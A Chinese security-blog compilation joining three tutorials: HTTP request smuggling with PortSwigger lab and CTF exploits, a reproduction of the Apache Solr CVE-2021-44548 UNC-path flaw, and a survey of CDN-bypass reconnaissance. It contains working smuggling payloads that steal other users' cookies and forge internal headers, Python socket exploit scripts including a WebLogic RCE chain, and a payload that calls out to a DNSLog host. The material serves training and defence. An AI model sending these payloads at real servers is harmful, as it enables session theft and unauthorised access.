我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造如下请求包:
POST / HTTP/1.1\r\n
Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
Sec-Ch-Ua-Mobile: ?0\r\n
Sec-Ch-Ua-Platform: "Windows"\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Sec-Fetch-Site: none\r\n
Sec-Fetch-Mode: navigate\r\n
Sec-Fetch-User: ?1\r\n
Sec-Fetch-Dest: document\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
Connection: close\r\n
Content-Length: 10\r\n
Transfer-Encoding:chunked\r\n
\r\n
0\r\n
\r\n
A\r\n
\r\n
连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。
4.TE CL
TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
我们构造出如下请求:
POST / HTTP/1.1
Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
WPOST / HTTP/1.1
0
多次发送后发现:
WPOST被拆分了出来,重点关注body部分
\r\n
12\r\n
WPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。
5.TE TE
TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。
lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
构造出如下请求包:
POST / HTTP/1.1
Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding:chunked //两种TE造成混淆
Transfer-Encoding:cow
5c
WPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
多次发送后:
可以看到这里我们采用了:
Transfer-Encoding:chunked\r\n
Transfer-Encoding:cow\r\n
除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
0x04 走私攻击应用实例
1.使用CL TE走私获取其他用户的请求
lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/
打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:
POST / HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 333
Transfer-Encoding:chunked
Content-Type: application/x-www-form-urlencoded
0
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=ashAwdweas.......
这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。
在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:
不过原理还是很好理解,大家可以自己去试一试,有点玄学。
2.泄露请求头重写请求实现未授权访问
前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:
• 用户的session等会话ID。
• XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。
• 用户指纹信息、token等。
如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。
那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。
这么讲可能还是有些抽象,我们拿lab来举例:
https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/
构造出如下请求包:
POST / HTTP/1.1
Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Transfer-Encoding:chunked
0
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
多发送几次我们会发现成功泄露出来XFF头信息:
我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。
我们走私到后端服务器被滞留在缓存区的请求是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
后端服务器接收到新请求并拼接在search之后是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......
最后后端服务器就会将信息响应返回。
3.其它应用
除了这两种还有一些利用方式:
• 反射型 XSS 组合拳
• 将 on-site 重定向变为开放式重定向
• 缓存投毒
• 缓存欺骗
这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)
0x05 CTF实战利用
GKCTF2021[hackme]
这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。
读取nginx配置文件发现后端存在weblogic服务:
同时注意到nginx版本为1.17.6,存在请求走私:
假如我们构造:
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81
针对这道题目我们构造出如下请求包:
GET /test HTTP/1.1
Host: node4.buuoj.cn:27230
Content-Length: 0
Transfer-Encoding: chunked
GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
响应包中包含了weblogic的版本信息:
WebLogic Server Version: 12.2.1.4.0
版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。
最终exp
//来源于https://www.lemonprefect.cn的博客
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 26319))
payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdap
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
RCTF2019[esay calc]
常规绕waf
首先查看源码根据提示来到calc.php
代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:
calc.php?num=;)phpinfo();//
执行后发现:
明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
走私绕waf
注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:
注意下面的请求中num前没有空格了。
CL CL
CL TE
ISCC2022[让我康康!]
分析与利用
如果直接访问flag会爆403:
我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:
那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。
其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。
我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。
当然我们直接写脚本拿socket发更直观。
最终exp
import socket
secret_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 149\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxPOST / HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
final_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 152\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
test1 = b'''POST / HTTP/1.1\r
Host: 127.0.0.1\r
Content-Length: 67\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
Content-Length: 123\r
\r
GET / HTTP/1.1\r
Host: 127.0.0.1\r
\r
'''
test2=b'''POST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
search=123'''
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("59.110.159.206", 7020))
def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
if __name__ == '__main__':
send(final_payload)
0x06 Reference
https://regilero.github.io/tag/Smuggling/
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://paper.seebug.org/1048
https://xz.aliyun.com/t/7501
CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及复现
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞原理
漏洞简述
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成:
敏感数据泄露,如系统用户哈希(NTLM/LM哈希);
在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。
漏洞分析
根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到
漏洞点出于DataImportHandler#handleRequestBody
如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控
看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource
this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1
再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf
再执行resolve(resource)时,这里的WindowsPathType变成了UNC
resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数
resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径
二、漏洞复现实战
影响版本
Apache Solr < 8.11.1 (仅Windows)
环境搭建
Solr漏洞环境下载地址:
https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip
1)打开命令行,进入bin目录下,运行solr.cmd start
2)再另一个命令行面板中执行solr.cmd create_core -c new_core
3)然后在solr-8.11.0\dist目录中添加三个jar包:
4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由
5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件,内容如下:
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://IP:Port/test"
user="XXXX"
password="XXXX"/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>
6)重新启动solr
漏洞复现
进入Solr后台,选择core为我们新配置的core。
选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息
我们点击reload并抓包
查看包内容,可以看到请求如下:
URL参数添加参数,构造payload
payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=&\\xxx\xxx
我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,发送请求:
在DNSLog上可以看到收到请求
漏洞修复
目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。
下载链接:
https://solr.apache.org/downloads.html
缓解措施:
确保只有受信任的客户端才能向Solr的DataImporthandler发出请求
结束语
本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。
CDN绕过技术总汇
近日HVV培训以及面试,有人问了CDN该如何绕过找到目标真实IP,这向来是个老生常谈的问题,而且网上大多都有,但是有些不够全面,今天把绕过CDN全理一理。术语叫做“深入浅出”。
CDN简介
定义
内容分发网络(英语:Content Delivery Network或Content Distribution Network,缩写:CDN)是指一种透过https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%AF%E7%B6%B2互相连接的电脑网络系统,利用最靠近每位用户的服务器,更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户,来提供高性能、可扩展性及低成本的网络内容传递给用户。
CDN是利用缓存技术,解决如何将数据快速可靠从源站传递到用户的问题。用户获取数据时,不需要直接从源站获取,通过CDN分发,用户可以从一个较优的服务器获取数据,从而达到快速访问,并减少源站负载压力的目的(负载均衡)
工作过程
用户在浏览器输入域名,先向DNS服务器发送请求
DNS服务器将域名解析权交(通过CNAME)给CDN专用DNS服务器
客户端根据返回的ip访问CDN负载均衡设备
负载均衡设备根据当前的负载情况和用户所需内容,返回合适的ip
客户端最后根据ip访问对应的CDN缓存服务器
优点
缓解原服务器访问压力
解决互联互通难题
解决网站突发流量的问题
合理利用互联网资源
全面预防单点故障
改善用户的访问的质量和体验
提供全面、准确、和详细的数据统计
有效的防治黑客攻击源站
......
适用范围
一般来说以资讯、内容等为主的网站,具有一定访问体量的网站
静态内容(html、js、css、image等,如图床)
视音频、大文件下载,分发加速:哔哩哔哩、腾讯等视频,百度云盘、蓝奏云等
视频直播加速:斗鱼、淘宝、虎牙直播
移动应用加速:移动app内图片、页面、短视频、UGC等内容,小程序等
像直播这一类必有CDN,因为一个网站直播流涌入大量用户,现在任何一家直播平台都没有直接负载的服务器能力。看直播再快的网速都有一定延迟的原因之一就是,需要在CDN里缓存一部分,用户从CDN里观看。
判断是否存在CDN
方法一:PingPingPing
不同地区对应着不同的CDN中心,所以使用不同站点的ping服务可分配到不同的CDN。这很简单,使用各种多站点ping服务来检查对应的IP地址是否唯一。如果不是唯一的,则使用大多数 CDN。多站Ping网站为:
http://ping.chinaz.com/http://ping.aizhan.com/http://tools.ipip.net/ping.php (强烈推荐这个,这个默认多站ping,真的很多)
方法二:nslookup
使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN。
有 CDN 的示例:
> ctfking.com
服务器: public1.alidns.com
Address: 223.5.5.5
非权威应答:
名称: d831e3eec87f7d3c02a6-mini-l2.qcloudzygj.com
Addresses: 106.55.85.170
106.55.85.167
106.55.86.71
Aliases: ctfking.com
d14ca549ac628ef817e7beaa5095976f.qcloudwzgj.com
无CDN的示例:
> nbufe.edu.cn
服务器: public1.alidns.com
Address: 223.5.5.5
名称: nbufe.edu.cn
方法三:工具
https://www.cdnplanet.com/tools/cdnfinder/
CDN绕过
方法一:查询DNS解析记录
1.查看IP与域名绑定的历史记录。使用 CDN 之前可能有记录。相关查询网站为:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://sitereport.netcraft.com/
https://tools.ipip.net/cdn.php(没错又是这个网站,它太猛了)
2.借助Securitytrails平台(https://securitytrails.com/)
攻击者可以查明真实的原始IP。他们只需在搜索字段中输入站点域名并按 ENTER,即可在左侧菜单中找到“历史数据”。
如何找到隐藏在 CloudFlare 或 Tor 背后的真实原始 IP?
除了过去的 DNS 记录,即使是当前的记录也可能泄露原始服务器 IP。例如,MX 记录是查找 IP 的常用方法。如果网站在与 Web 相同的服务器和 IP 上托管自己的邮件服务器,则原始服务器 IP 将在 MX 记录中。
方法二:查询子域名
毕竟CDN还是不便宜,所以很多站长可能只会在主站或者流量大的子站做一个CDN,而很多小站子站跟主站在同一个服务器或者同C段,此时可以通过子域对应的IP查询,帮助找到真实IP站点。
https://x.threatbook.cn/上面提到的微步在线功能强大,黑客只需输入域名即可查找(如baidu.com),点击子域选项即可找到其子域,但免费用户每月只有5次免费查询机会。
https://dnsdb.io/zh-cn/黑客只需要输入baidu.com TYPE:A就可以收集到百度的子域名和IP。
https://www.google.com/谷歌站点:baidu.com-www 可以看到除WWW以外的子域
子域扫描器
Layer子域名挖掘机和lijiejie的subdomain那个工具都很不错
推荐长亭的xray
方法三:网络空间引擎
fofa、鹰图、Zoomeye、shodan、360
推荐鹰图
只需输入:title:“网站的title关键字”或者body:“网站的body特征”就可以找出收录的有这些关键字的ip域名,很多时候能获取网站的真实ip
方法四:使用SSL证书寻找真实原IP
如果您在 xyz123boot.com 上托管服务,则原始服务器 IP 为 136.23.63.44。CloudFlare 将为您提供 DDoS 防护、Web 应用防火墙和其他一些https://www.webshell.cc/tag/security服务,以保护您的服务免受攻击。为此,您的 Web 服务器必须支持 SSL 并具有证书。此时,CloudFlare 与您的服务器之间的通信,就像您与 CloudFlare 之间的通信一样,将被加密(即没有灵活的 SSL)。这看起来很安全,但问题是当你直接连接到443端口(https://136.23.63.44:443)上的IP时,会暴露SSL证
此时,如果攻击者扫描0.0.0.0/0,整个互联网,就可以在xyz123boot.com的443端口获取有效证书,进而获取提供给你的web服务器IP。
目前,Censys 工具可以扫描整个互联网。Censys 是用于搜索联网设备信息的新搜索引擎。安全专家可以使用它来评估其实施的安全性,黑客可以使用它作为初步调查。攻击目标和收集目标信息的强大武器。Censys 搜索引擎可以扫描整个互联网。Censys每天扫描IPv4地址空间,搜索所有联网设备并收集相关信息,并返回资源(如设备、网站、证书等)配置和部署的整体报告。
攻击者唯一需要做的就是将上述搜索词转换为实际的搜索查询参数。
xyz123boot.com证书的搜索查询参数为:parsed.names: xyz123boot.com
只显示有效证书的查询参数为:tags.raw:trusted
攻击者可以在 Censys 上实现多个参数的组合,这可以通过使用简单的布尔逻辑来完成。
组合的搜索参数是:parsed.names:xyz123boot.com 和 tags.raw:trusted
Censys 将向您显示在扫描中找到的符合上述搜索条件的所有标准证书。
要一一查看这些搜索结果,攻击者可以通过单击右侧的“探索”来打开一个包含多个工具的下拉菜单。什么在使用这个证书?> IPv4 主机
使用给定的 SSL 证书
如果您是执法人员,并且想找到隐藏在 cheesecp5vaogohv.onion 下的儿童色情网站。最好的办法是找到它的原始IP,这样就可以追踪它的托管服务器,甚至可以找出它背后的运营商和财务线索。
隐藏服务具有 SSL 证书。要查找它使用的 IPv4 主机,只需将“SHA1 指纹”(签名证书的 sha1 值)粘贴到 Censys IPv4 主机搜索中即可找到证书。这种方法很容易找到配置错误的Web服务器。
方法五:使用HTTP头找到真正的原始IP
借助 SecurityTrails 这样的平台,任何人都可以在海量的大数据中搜索自己的目标,甚至可以通过比较 HTTP 标头找到原始服务器。
特别是当用户有一个非常特殊的服务器名称和软件名称时,攻击者更容易找到你。
如果要搜索的数据很多,如上所述,攻击者可以在 Censys 上组合搜索参数。假设您正在与 1500 个 Web 服务器共享您的服务器 HTTP 标头,所有这些服务器都发送相同的标头参数和值组合。而且您还使用新的 PHP 框架来发送唯一的 HTTP 标头(例如:X-Generated-Via: XYZ 框架),目前约有 400 位网站管理员使用该框架。最终,在三台服务器的交汇处,通过人工操作即可找到IP,整个过程仅需几秒。
例如,Censys上用于匹配服务器头的搜索参数为80.http.get.headers.server:,查找CloudFlare服务的网站的参数如下:
80.http.get.headers.server:cloudflare
方法六:利用网站返回的内容寻找真实的原IP
如果原服务器IP也返回网站内容,可以在网上搜索很多相关资料。
浏览网站源代码以查找独特的代码片段。在 JavaScript 中使用具有访问权限或标识符参数的第三方服务(例如 Google Analytics、reCAPTCHA)是攻击者经常使用的一种方法。
以下是从 HackTheBox 网站获得的 Google Analytics 跟踪代码示例:
ga('创建','UA-93577176-1','auto');80.http.get.body 可以使用:参数通过body/source过滤Censys数据。不幸的是,普通搜索字段有局限性。但是您可以在 Censys 请求研究访问权限,这使您可以通过 Google BigQuery 进行更强大的查询。
Shodan 是一个类似于 Censys 的服务,同样提供 http.html 搜索参数。
搜索示例:https://www.shodan.io/search?query=http.html%3AUA-32023260-1
方法七:使用外地主机解析域名
国内很多CDN厂商因为各种原因只做国内线,国外线路可能几乎没有。这时候我们可能会使用外地主机直接访问真实IP。
方法八:网站漏洞搜索
目标敏感文件泄露,如phpinfo、GitHub信息泄露等探针
XSS盲打、命令执行反向shell、SSRF等
无论是社会工程还是其他手段,目标网站获取CDN中的管理员账号,在CDN的配置中可以找到网站的真实IP。
方法九:网站邮件订阅搜索
RSS邮件订阅,很多网站都有自己的sendmail,会发邮件给我们。此时,服务器的真实IP将包含在邮件的源代码中。
方法十:用Zmap扫描全网
要找到xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的banner-grab扫描出开放80端口的主机进行banner抓包,最后在Host中写入xiaix.me http请求。
方法十一:F5 LTM解码方法
服务器使用F5 LTM进行负载均衡时,也可以通过set-cookie关键字解码得到真实ip,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,第一个小数部分的十进制数是487098378取出来,然后转换成十六进制数1d08880a,然后从后往前,取出四位数字,就是0a.88.08.1d,最后再转换成十进制数10.136.8.29,也是最后一个真实IP。
方法十二:网页敏感信息
这条思路来源于Jacko
favicon哈希值
根据网站图标哈希值搜索IP
python2脚本
import mmh3
import requests
response = requests.get('https://example.com/favicon.ico')
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print 'http.favicon.hash:'+str(hash)
去fofa或者shodan上搜索该哈希值
查询格式:
fofa:icon_hash="xxx"
shodan:http.favicon.hash:xxx
HTML源代码检索查找IP
根据网站页面HTML中特有的字符串去搜索引擎中搜索,如目标页面中由HTML标签为<title>的字段比较特殊,那么可以去FOFA中搜索:
title="xxxxxxxxxxxxxxx"
搜索到的结果会显示IP,访问该IP,若能够正常访问则为真正IP,如果打不开则为CDN或虚拟主机服务器
参考文章:
https://www.wolai.com/3xXwCoP1KEgkWWG8bnnianhttps://www.codetd.com/en/article/12945130
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

